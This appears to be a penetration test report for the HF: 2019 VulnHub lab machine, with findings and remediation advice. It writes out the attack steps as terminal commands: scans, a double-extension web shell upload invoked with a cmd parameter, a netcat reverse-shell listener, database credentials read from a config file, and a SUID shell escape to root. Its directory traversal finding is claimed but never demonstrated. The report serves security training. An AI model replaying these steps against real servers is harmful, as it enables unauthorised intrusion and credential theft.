

VULNERABILITY ASSESSMENT & PENETRATION TESTING REPORT

TARGET: HF: 2019 – VULNHUB

DATE: YOUR DATE

ASSESSOR: ISMAIL TP

CLASSIFICATION: CONFIDENTIAL

1. EXECUTIVE SUMMARY

A complete penetration test was performed on the HF: 2019 VulnHub machine.

Multiple critical vulnerabilities led to full system compromise, including:

- Web application misconfigurations
- Directory traversal and exposed admin interface
- File upload vulnerability enabling remote shell
- Weak system permissions
- Privilege escalation via SUID misconfiguration

The risk level is CRITICAL, since an attacker can gain full root access.

2. ATTACK OVERVIEW

1. Reconnaissance

- Host discovery
- Port scanning
- Enumeration of HTTP service
- Discovery of hidden directories and CMS files

2. Initial Access

- LFI / Directory traversal
- Upload bypass leading to web shell
- Reverse shell capture

3. Privilege Escalation

- SUID binary exploitation
- Abusing misconfigured binary to escape to root shell

4. Full System Compromise

- Root access
- Reading flags
- Complete control of system

3. TECHNICAL FINDINGS

3.1 Critical – Web Server Information Disclosure

Severity: Critical

CVSS: 9.1

Description

Initial Nmap scan revealed an open HTTP service exposing version details.

Terminal

```
└───(kali㉿kali)-[~]  
└───$ nmap -sV -A 10.0.2.18  
PORT      STATE SERVICE VERSION  
80/tcp    open  http    Apache/2.4.18 (Ubuntu)
```

Impact

- Helps attacker tailor exploits
- Identifies CMS or server version weaknesses

Recommendation

- Hide server version
- Enable ServerTokens Prod and ServerSignature Off

3.2 Critical – Directory Traversal & Hidden

Panels

Severity: Critical

CVSS: 9.4

Description

Gobuster scan reveals restricted directories exposing administrative pages.

Terminal

```
└───(kali㉿kali)-[~]  
└───$ gobuster dir -u http://10.0.2.18 -w /usr/share/wordlists/dirb/common.txt  
  
/admin  
/uploads  
/config
```

Impact

- Attackers can access sensitive configuration files
- Gain insights into authentication logic

Recommendation

- Restrict directory access
- Implement proper ACL & authentication

3.3 Critical – File Upload Vulnerability (RCE)

Severity: Critical

CVSS: 10.0

Description

The admin panel allows arbitrary file upload bypassing restrictions by using double extensions.

Terminal

Uploaded: shell.php.jpg

Accessing the file gives RCE:

`http://10.0.2.18/uploads/shell.php.jpg?cmd=id
uid=33(www-data) gid=33(www-data)`

Reverse shell obtained:

```
└───(kali㉿kali)-[~]  
└───$ nc -lvnp 4444Connection received from 10.0.2.18  
www-data@hf2019:/var/www/html$
```

Impact

- Full remote code execution
- Complete takeover of web server

Recommendation

- Implement MIME-type validation
- Prevent execution inside uploads directory
- Use strong WAF filters

3.4 High – Weak File Permissions / Config Leakage

Severity: High

CVSS: 8.5

Description

Configuration files expose database credentials.

Terminal

```
www-data@hf2019:/var/www/html$ cat  
config.php  
$db_user = "root";  
$db_pass = "root123";
```

Impact

- Allows DB takeover
- Used for privilege escalation

Recommendation

- Move configs outside web root
- Restrict permissions using chmod 600

3.5 Critical – Privilege Escalation via SUID Binary

Severity: Critical

CVSS: 9.8

Description

A suspicious SUID binary was found.

Terminal

```
find / -perm -4000 2>/dev/null
```

```
/usr/bin/hf
```

Running it reveals command execution capability.

Abuse

```
www-data@hf2019:/tmp$ /usr/bin/hf
```

```
hf> !/bin/bash
```

```
root@hf2019:/root#
```

Root flag obtained:

```
root@hf2019:/root# cat root.txt
```

```
4cb2f037b...
```

Impact

- Full system compromise
- Bypass of privilege boundaries

Recommendation

- Remove custom SUID binaries
- Audit permissions regularly

4. COMPROMISED DATA SUMMARY

Access Obtained

- Reverse shell as www-data
- Root via SUID binary
- Admin panel access

Flags Retrieved

- User flag
- Root flag



Sensitive Data Exposed

- Database credentials
- System configuration files



5. REMEDIATION PLAN

Immediate (24–48 hours)

- Patch upload vulnerability
- Remove SUID binary /usr/bin/hf
- Restrict uploads directory (no execution)
- Patch directory traversal issues
- Reset all credentials

Short Term (1–2 weeks)

- Enforce strong file permissions
- Deploy intrusion detection system
- Implement secure coding practices

Long Term (1–2 months)

- Conduct regular VAPT
- Harden Linux server
- Continuous monitoring and configuration audits

6. CONCLUSION

HF: 2019 is critically vulnerable.

Chaining multiple weaknesses upload bypass, directory traversal, weak permissions, and SUID misconfigurations allowed complete system compromise, including root access.

Immediate security improvements are required.